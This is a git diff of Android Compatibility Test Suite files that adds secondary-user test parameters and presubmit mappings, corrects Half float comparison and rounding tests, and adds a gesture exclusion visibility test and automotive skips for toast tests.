diff --git a/tests/tests/text/AndroidTest.xml b/tests/tests/text/AndroidTest.xml
index e57449b..2af8059 100644
--- a/tests/tests/text/AndroidTest.xml
+++ b/tests/tests/text/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="uitoolkit" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsTextTestCases.apk" />
diff --git a/tests/tests/text/TEST_MAPPING b/tests/tests/text/TEST_MAPPING
index cc40b03..05e9696 100644
--- a/tests/tests/text/TEST_MAPPING
+++ b/tests/tests/text/TEST_MAPPING
@@ -2,6 +2,9 @@
   "presubmit": [
     {
       "name": "CtsTextTestCases"
+    },
+    {
+      "name": "minikin_tests"
     }
   ]
-}
\ No newline at end of file
+}
diff --git a/tests/tests/tools/processors/view_inspector/AndroidTest.xml b/tests/tests/tools/processors/view_inspector/AndroidTest.xml
index 8745e65..02be709 100644
--- a/tests/tests/tools/processors/view_inspector/AndroidTest.xml
+++ b/tests/tests/tools/processors/view_inspector/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="component" value="uitoolkit" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/uidisolation/AndroidTest.xml b/tests/tests/uidisolation/AndroidTest.xml
index 3f98221..195ebd0 100644
--- a/tests/tests/uidisolation/AndroidTest.xml
+++ b/tests/tests/uidisolation/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="security" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/ActivityTestBase.java b/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/ActivityTestBase.java
index ab5af62..83b09c1 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/ActivityTestBase.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/ActivityTestBase.java
@@ -223,6 +223,7 @@
                 mBitmapAsserter.assertBitmapsAreSimilar(idealBitmap, testCaseBitmap, bitmapComparer,
                         getName(), testCase.getDebugString());
             }
+            getActivity().reset();
         }
 
         /**
@@ -271,6 +272,7 @@
                             getName(), testCase.getDebugString());
                 }
             }
+            getActivity().reset();
         }
 
         /**
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/DrawActivity.kt b/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/DrawActivity.kt
index 8176ba9..a5d40cf 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/DrawActivity.kt
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/DrawActivity.kt
@@ -16,7 +16,6 @@
 package android.uirendering.cts.testinfrastructure
 
 import android.app.Activity
-import android.app.UiModeManager
 import android.content.pm.ActivityInfo
 import android.content.res.Configuration
 import android.graphics.Point
@@ -216,8 +215,8 @@
 
     override fun onPause() {
         super.onPause()
-        mViewInitializer?.run {
-            teardownView()
+        if (mViewInitializer != null) {
+            throw IllegalStateException("Failed to reset() after running test")
         }
     }
 
diff --git a/tests/tests/util/src/android/util/cts/HalfTest.java b/tests/tests/util/src/android/util/cts/HalfTest.java
index 62662d0..59e8774 100644
--- a/tests/tests/util/src/android/util/cts/HalfTest.java
+++ b/tests/tests/util/src/android/util/cts/HalfTest.java
@@ -256,6 +256,13 @@
         assertEquals(-124.0f, toFloat(Half.ceil(toHalf(-124.7f))), 1e-6f);
         assertEquals(125.0f, toFloat(Half.ceil(toHalf(124.2f))), 1e-6f);
         assertEquals(-124.0f, toFloat(Half.ceil(toHalf(-124.2f))), 1e-6f);
+        // ceil for NaN values
+        // These tests check whether the current ceil implementation achieves
+        // bit level compatibility with the hardware implementation (ARM64).
+        assertShortEquals((short) 0x7e01, Half.ceil((short) 0x7c01));
+        assertShortEquals((short) 0x7f00, Half.ceil((short) 0x7d00));
+        assertShortEquals((short) 0xfe01, Half.ceil((short) 0xfc01));
+        assertShortEquals((short) 0xff00, Half.ceil((short) 0xfd00));
     }
 
     @Test
@@ -340,12 +347,23 @@
         assertShortEquals(NEGATIVE_ZERO, Half.round(toHalf(-0.2f)));
         assertEquals(1.0f, toFloat(Half.round(toHalf(0.7f))), 1e-6f);
         assertEquals(-1.0f, toFloat(Half.round(toHalf(-0.7f))), 1e-6f);
-        assertEquals(1.0f, toFloat(Half.round(toHalf(0.5f))), 1e-6f);
-        assertEquals(-1.0f, toFloat(Half.round(toHalf(-0.5f))), 1e-6f);
+        assertEquals(0.0f, toFloat(Half.round(toHalf(0.5f))), 1e-6f);
+        assertEquals(-0.0f, toFloat(Half.round(toHalf(-0.5f))), 1e-6f);
+        assertEquals(2.0f, toFloat(Half.round(toHalf(1.5f))), 1e-6f);
+        assertEquals(-2.0f, toFloat(Half.round(toHalf(-1.5f))), 1e-6f);
+        assertEquals(1022.0f, toFloat(Half.round(toHalf(1022.5f))), 1e-6f);
+        assertEquals(-1022.0f, toFloat(Half.round(toHalf(-1022.5f))), 1e-6f);
         assertEquals(125.0f, toFloat(Half.round(toHalf(124.7f))), 1e-6f);
         assertEquals(-125.0f, toFloat(Half.round(toHalf(-124.7f))), 1e-6f);
         assertEquals(124.0f, toFloat(Half.round(toHalf(124.2f))), 1e-6f);
         assertEquals(-124.0f, toFloat(Half.round(toHalf(-124.2f))), 1e-6f);
+        // round for NaN values
+        // These tests check whether the current round implementation achieves
+        // bit level compatibility with the hardware implementation (ARM64).
+        assertShortEquals((short) 0x7e01, Half.round((short) 0x7c01));
+        assertShortEquals((short) 0x7f00, Half.round((short) 0x7d00));
+        assertShortEquals((short) 0xfe01, Half.round((short) 0xfc01));
+        assertShortEquals((short) 0xff00, Half.round((short) 0xfd00));
     }
 
     @Test
@@ -388,7 +406,7 @@
 
     @Test
     public void lessEquals() {
-        assertTrue(Half.less(NEGATIVE_INFINITY, POSITIVE_INFINITY));
+        assertTrue(Half.lessEquals(NEGATIVE_INFINITY, POSITIVE_INFINITY));
         assertTrue(Half.lessEquals(MAX_VALUE, POSITIVE_INFINITY));
         assertFalse(Half.lessEquals(POSITIVE_INFINITY, MAX_VALUE));
         assertFalse(Half.lessEquals(LOWEST_VALUE, NEGATIVE_INFINITY));
@@ -403,7 +421,7 @@
         assertFalse(Half.lessEquals(toHalf(12.4f), toHalf(12.3f)));
         assertFalse(Half.lessEquals(toHalf(-12.3f), toHalf(-12.4f)));
         assertTrue(Half.lessEquals(toHalf(-12.4f), toHalf(-12.3f)));
-        assertTrue(Half.less(MIN_VALUE, (short) 0x3ff));
+        assertTrue(Half.lessEquals(MIN_VALUE, (short) 0x3ff));
         assertTrue(Half.lessEquals(NEGATIVE_INFINITY, NEGATIVE_INFINITY));
         assertTrue(Half.lessEquals(POSITIVE_INFINITY, POSITIVE_INFINITY));
         assertTrue(Half.lessEquals(toHalf(12.12356f), toHalf(12.12356f)));
@@ -447,11 +465,11 @@
         assertFalse(Half.greaterEquals(toHalf(12.3f), toHalf(12.4f)));
         assertFalse(Half.greaterEquals(toHalf(-12.4f), toHalf(-12.3f)));
         assertTrue(Half.greaterEquals(toHalf(-12.3f), toHalf(-12.4f)));
-        assertTrue(Half.greater((short) 0x3ff, MIN_VALUE));
-        assertTrue(Half.lessEquals(NEGATIVE_INFINITY, NEGATIVE_INFINITY));
-        assertTrue(Half.lessEquals(POSITIVE_INFINITY, POSITIVE_INFINITY));
-        assertTrue(Half.lessEquals(toHalf(12.12356f), toHalf(12.12356f)));
-        assertTrue(Half.lessEquals(toHalf(-12.12356f), toHalf(-12.12356f)));
+        assertTrue(Half.greaterEquals((short) 0x3ff, MIN_VALUE));
+        assertTrue(Half.greaterEquals(NEGATIVE_INFINITY, NEGATIVE_INFINITY));
+        assertTrue(Half.greaterEquals(POSITIVE_INFINITY, POSITIVE_INFINITY));
+        assertTrue(Half.greaterEquals(toHalf(12.12356f), toHalf(12.12356f)));
+        assertTrue(Half.greaterEquals(toHalf(-12.12356f), toHalf(-12.12356f)));
     }
 
     @Test
diff --git a/tests/tests/view/TEST_MAPPING b/tests/tests/view/TEST_MAPPING
new file mode 100644
index 0000000..279657d
--- /dev/null
+++ b/tests/tests/view/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "minikin_tests"
+    }
+  ]
+}
diff --git a/tests/tests/view/sdk28/AndroidTest.xml b/tests/tests/view/sdk28/AndroidTest.xml
index bec8054..70a17ea 100644
--- a/tests/tests/view/sdk28/AndroidTest.xml
+++ b/tests/tests/view/sdk28/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="component" value="uitoolkit" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsViewTestCasesSdk28.apk" />
diff --git a/tests/tests/view/src/android/view/cts/SystemGestureExclusionRectsTest.java b/tests/tests/view/src/android/view/cts/SystemGestureExclusionRectsTest.java
index 423f3b7..25312e7 100644
--- a/tests/tests/view/src/android/view/cts/SystemGestureExclusionRectsTest.java
+++ b/tests/tests/view/src/android/view/cts/SystemGestureExclusionRectsTest.java
@@ -201,9 +201,62 @@
         assertTrue("set rects timeout", setter[0].await(3, SECONDS));
     }
 
+    @Test
+    public void ignoreHiddenViewRects() throws Throwable {
+        final Activity activity = mActivityRule.getActivity();
+        final View contentView = activity.findViewById(R.id.abslistview_root);
+        final List<Rect> dummyLocalExclusionRects = Lists.newArrayList(new Rect(0, 0, 5, 5));
+        final List<Rect> dummyWindowExclusionRects = new ArrayList<>();
+
+        mActivityRule.runOnUiThread(() -> {
+            final View v = activity.findViewById(R.id.animating_view);
+            int[] point = new int[2];
+            v.getLocationInWindow(point);
+            for (Rect r : dummyLocalExclusionRects) {
+                Rect offsetR = new Rect(r);
+                offsetR.offsetTo(point[0], point[1]);
+                dummyWindowExclusionRects.add(offsetR);
+            }
+        });
+
+        // Set an exclusion rect on the animating view, ensure it's reported
+        final GestureExclusionLatcher[] setLatch = new GestureExclusionLatcher[1];
+        mActivityRule.runOnUiThread(() -> {
+            final View v = activity.findViewById(R.id.animating_view);
+            setLatch[0] = GestureExclusionLatcher.watching(v.getViewTreeObserver());
+            v.setSystemGestureExclusionRects(dummyLocalExclusionRects);
+        });
+        assertTrue("set rects timeout", setLatch[0].await(3, SECONDS));
+        assertEquals("returned rects as expected", dummyWindowExclusionRects,
+                setLatch[0].getLastReportedRects());
+
+        // Hide the content view, ensure that the reported rects are null for the child view
+        final GestureExclusionLatcher[] updateHideLatch = new GestureExclusionLatcher[1];
+        mActivityRule.runOnUiThread(() -> {
+            final View v = activity.findViewById(R.id.animating_view);
+            updateHideLatch[0] = GestureExclusionLatcher.watching(v.getViewTreeObserver());
+            contentView.setVisibility(View.INVISIBLE);
+        });
+        assertTrue("set rects timeout", updateHideLatch[0].await(3, SECONDS));
+        assertEquals("returned rects as expected", Collections.EMPTY_LIST,
+                updateHideLatch[0].getLastReportedRects());
+
+        // Show the content view again, ensure that the reported rects are valid for the child view
+        final GestureExclusionLatcher[] updateShowLatch = new GestureExclusionLatcher[1];
+        mActivityRule.runOnUiThread(() -> {
+            final View v = activity.findViewById(R.id.animating_view);
+            updateShowLatch[0] = GestureExclusionLatcher.watching(v.getViewTreeObserver());
+            contentView.setVisibility(View.VISIBLE);
+        });
+        assertTrue("set rects timeout", updateShowLatch[0].await(3, SECONDS));
+        assertEquals("returned rects as expected", dummyWindowExclusionRects,
+                updateShowLatch[0].getLastReportedRects());
+    }
+
     private static class GestureExclusionLatcher implements Consumer<List<Rect>> {
         private final CountDownLatch mLatch = new CountDownLatch(1);
         private final ViewTreeObserver mVto;
+        private List<Rect> mLastReportedRects = Collections.EMPTY_LIST;
 
         public static GestureExclusionLatcher watching(ViewTreeObserver vto) {
             final GestureExclusionLatcher latcher = new GestureExclusionLatcher(vto);
@@ -219,8 +272,13 @@
             return mLatch.await(time, unit);
         }
 
+        public List<Rect> getLastReportedRects() {
+            return mLastReportedRects;
+        }
+
         @Override
         public void accept(List<Rect> rects) {
+            mLastReportedRects = rects;
             mLatch.countDown();
             mVto.removeOnSystemGestureExclusionRectsChangedListener(this);
         }
diff --git a/tests/tests/webkit/AndroidTest.xml b/tests/tests/webkit/AndroidTest.xml
index a25f80b..deefe3e 100644
--- a/tests/tests/webkit/AndroidTest.xml
+++ b/tests/tests/webkit/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
 
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/widget/res/layout/magnifier_activity_centered_view_layout.xml b/tests/tests/widget/res/layout/magnifier_activity_centered_view_layout.xml
index bd5fd82..1a11740 100644
--- a/tests/tests/widget/res/layout/magnifier_activity_centered_view_layout.xml
+++ b/tests/tests/widget/res/layout/magnifier_activity_centered_view_layout.xml
@@ -23,7 +23,7 @@
     android:gravity="center" >
     <FrameLayout
         android:id="@+id/magnifier_centered_view"
-        android:layout_width="120dp"
+        android:layout_width="100dp"
         android:layout_height="56dp"
         android:background="@android:color/holo_blue_bright" />
 </LinearLayout>
diff --git a/tests/tests/widget/src/android/widget/cts/ToastTest.java b/tests/tests/widget/src/android/widget/cts/ToastTest.java
index 72b5af8..a6c7af3 100644
--- a/tests/tests/widget/src/android/widget/cts/ToastTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ToastTest.java
@@ -22,6 +22,7 @@
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertSame;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
 
 import android.content.Context;
 import android.content.pm.PackageManager;
@@ -274,6 +275,8 @@
 
     @Test
     public void testAccessMargin() throws Throwable {
+        assumeFalse("Skipping test: Auto does not support toast with margin", isCar());
+
         makeToast();
         View view = mToast.getView();
         assertFalse(view.getLayoutParams() instanceof WindowManager.LayoutParams);
@@ -335,6 +338,8 @@
 
     @Test
     public void testAccessGravity() throws Throwable {
+        assumeFalse("Skipping test: Auto does not support toast with gravity", isCar());
+
         makeToast();
         runOnMainAndDrawSync(mToast.getView(), () -> {
             mToast.setGravity(Gravity.CENTER, 0, 0);
@@ -515,4 +520,9 @@
             throw new RuntimeException(t);
         }
     }
+
+    private boolean isCar() {
+        PackageManager pm = mContext.getPackageManager();
+        return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+    }
 }
diff --git a/tools/cts-device-info/Android.mk b/tools/cts-device-info/Android.mk
index b574612..82ea994 100644
--- a/tools/cts-device-info/Android.mk
+++ b/tools/cts-device-info/Android.mk
@@ -38,7 +38,7 @@
 LOCAL_PACKAGE_NAME := CtsDeviceInfo
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts mts
 
 include $(BUILD_CTS_DEVICE_INFO_PACKAGE)